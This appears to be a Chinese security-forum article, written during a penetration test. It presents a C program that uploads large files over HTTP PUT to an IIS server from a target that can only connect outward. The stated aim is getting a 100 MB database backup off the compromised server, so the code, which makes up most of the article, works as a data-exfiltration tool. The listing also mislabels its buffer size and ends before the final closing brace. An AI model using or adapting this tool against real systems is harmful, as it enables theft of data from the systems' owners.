命令行下的PUT方式上传大文件

作者:pt007[at]vip.sina.com
来源:邪恶八进制信息安全团队(www.eviloctal.com)

注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到邪恶八进制信息安全团队技术讨论组。I.S.T.O版权所有,转载需注明作者。
最近做一个渗透,目标机为一台数据库服务器,对外没有开放,只能反连出来,上面有个100多M的数据库备份,用后门下载的时候总是掉线,听mickey说用PUT方式可以上传大文件,于是从网上找找了代码,写了个命令行下上传大文件的C程序.

代码:

  1. #include <winsock2.h>  
  2. #include <windows.h>  
  3. #include <stdio.h>  
  4. #include <wininet.h>  
  5. #pragma comment(lib, "ws2_32.lib")  
  6. #pragma comment(lib, "wininet.lib")  
  7.  
  8. void Usage (char *name);//帮助信息  
  9.  
  10. BOOL UseHttpSendReqEx(HINTERNET hConnect, TCHAR *upFile, TCHAR *localFile)  
  11. {  
  12. INTERNET_BUFFERS BufferIn = {0};  
  13. DWORD dwBytesRead;  
  14. DWORD dwBytesWritten;  
  15. BYTE pBuffer[302480]; // Read from file in 300M chunks,最大支持300M文件  
  16.  
  17. BOOL bRead, bRet;  
  18.  
  19. BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS );  
  20. //使用put方式上传文件:  
  21. HINTERNET hRequest = HttpOpenRequest (hConnect, "PUT",  
  22. localFile, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, 0);  
  23. if (!hRequest)  
  24. {  
  25. printf("Failed to open request handle: %lu\n", GetLastError ());  
  26. return FALSE;  
  27. }  
  28.  
  29. //打开指定的文件:  
  30. HANDLE hFile = CreateFile (upFile, GENERIC_READ, FILE_SHARE_READ,  
  31. NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);  
  32. if (hFile == INVALID_HANDLE_VALUE)  
  33. {  
  34. printf("\nFailed to open local file %s.", upFile);  
  35. return FALSE;  
  36. }  
  37.  
  38. BufferIn.dwBufferTotal = GetFileSize (hFile, NULL);  
  39. printf ("File size is %d\n", BufferIn.dwBufferTotal );  
  40.  
  41. if(!HttpSendRequestEx( hRequest, &BufferIn, NULL, HSR_INITIATE, 0))  
  42. {  
  43. printf( "Error on HttpSendRequestEx %lu\n",GetLastError() );  
  44. return FALSE;  
  45. }  
  46.  
  47. DWORD sum = 0;  
  48. do 
  49. {  
  50. if  (!(bRead = ReadFile (hFile, pBuffer, sizeof(pBuffer),&dwBytesRead, NULL)))  
  51. {  
  52. printf ("\nReadFile failed on buffer %lu.",GetLastError());  
  53. break;  
  54. }  
  55. if (!(bRet=InternetWriteFile( hRequest, pBuffer, dwBytesRead,&dwBytesWritten)))  
  56. {  
  57. printf ("\nInternetWriteFile failed %lu", GetLastError());  
  58. break;  
  59. }  
  60. sum += dwBytesWritten;  
  61. }  
  62. while (dwBytesRead == sizeof(pBuffer)) ;  
  63.  
  64. CloseHandle (hFile);  
  65. printf ("Actual written bytes: %d\nupload %s successed!\n", sum,localFile);  
  66.  
  67. //结束一个HTTP请求:  
  68. if(!HttpEndRequest(hRequest, NULL, 0, 0))  
  69. {  
  70. printf( "Error on HttpEndRequest %lu \n", GetLastError());  
  71. return FALSE;  
  72. }  
  73. return TRUE;  
  74. }  
  75.  
  76. int main(int argc, char **argv)  
  77.  
  78. {  
  79. //put 127.0.0.1 /1.db c:\\wmpub\\1.exe  
  80. if(argc!=4)  
  81. {  
  82. Usage(argv[0]);  
  83. return 0;  
  84. }  
  85.  
  86. //char *ServerName="127.0.0.1"; //这里填写URL地址  
  87. char *ServerName=argv[1];  
  88.  
  89. HINTERNET hSession = InternetOpen("HttpSendRequest",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); //同步方式  
  90. if(!hSession){  
  91. printf("Failed to open InternetOpen\n");  
  92. exit(0);  
  93. }  
  94. //连接到一个http服务:  
  95. HINTERNET hConnect = InternetConnect(hSession,  
  96. ServerName,  
  97. INTERNET_DEFAULT_HTTP_PORT, //连接到80端口,可以修改成任意端口,比如53  
  98. NULL,  
  99. NULL,  
  100. INTERNET_SERVICE_HTTP, //服务类型HTTP,FTP或Gopher  
  101. 0,  
  102. 1);  
  103.  
  104. if(!hConnect)  
  105. {  
  106. printf("error InternetConnect\n");  
  107. return 0;  
  108. }  
  109.  
  110. //TCHAR *putfile="c:\\wmpub\\1.exe"; //上传的程序  
  111. TCHAR *putfile=argv[3];  
  112. TCHAR *putlocalfile=argv[2];  
  113. BOOL sigh;  
  114. sigh=UseHttpSendReqEx(hConnect,putfile,putlocalfile);  
  115. if(!sigh)  
  116. {  
  117. printf("error UseHttpSendReqEx\n");  
  118. return 0;  
  119. }  
  120.  
  121. return 0;  
  122. }  
  123.  
  124. //输出帮助的典型方法:  
  125. void Usage (char *name)  
  126. {  
  127. fprintf(stderr,"===============================================================================\n" 
  128. "\t名称:利用PUT上传300M的大文件\n" 
  129. "\t环境:Win2003+Visual C++ 6.0\n" 
  130. "\t作者:pt007@vip.sina.com\n" 
  131. "\tQQ:  7491805\n" 
  132. "\t声明:本软件由pt007原创,转载请注明出处,谢谢!\n" 
  133. "\t使用说明:1.db为上传后保存后的文件,c:\\wmpub\\1.exe为本地要上传的大文件,\n\t需要IIS里面设置允许写入!\n" 
  134. "\t例子:%s 192.168.1.101 /1.db c:\\wmpub\\1.exe\n" 
  135. "===============================================================================\n",name);  

 

put上传程序.rar

Leave a comment

Your comment

Why not Login? Sign up now! »